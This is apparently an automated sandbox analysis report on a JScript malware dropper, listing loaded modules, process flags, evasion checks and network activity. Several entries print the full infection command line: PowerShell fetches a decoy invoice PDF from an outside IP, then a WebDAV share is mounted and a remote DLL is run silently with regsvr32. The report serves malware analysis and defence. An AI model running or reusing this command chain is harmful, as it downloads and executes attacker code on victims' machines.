Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\494.js.csv");ITextStream.WriteLine(" entry:8398 f:jgplea");ITextStream.WriteLine(" exec:2 f:jgplea");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5846			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4372	Thread sleep count: 5846 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4372	Thread sleep count: 4000 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3700	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2896	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1936	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2247736302.000002AE4B9FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2244924456.000002AE4B9FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3460543057.0000012977658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3459076992.000001297602B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: net.exe, 00000007.00000002.2247691963.000002AE4B998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`&

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
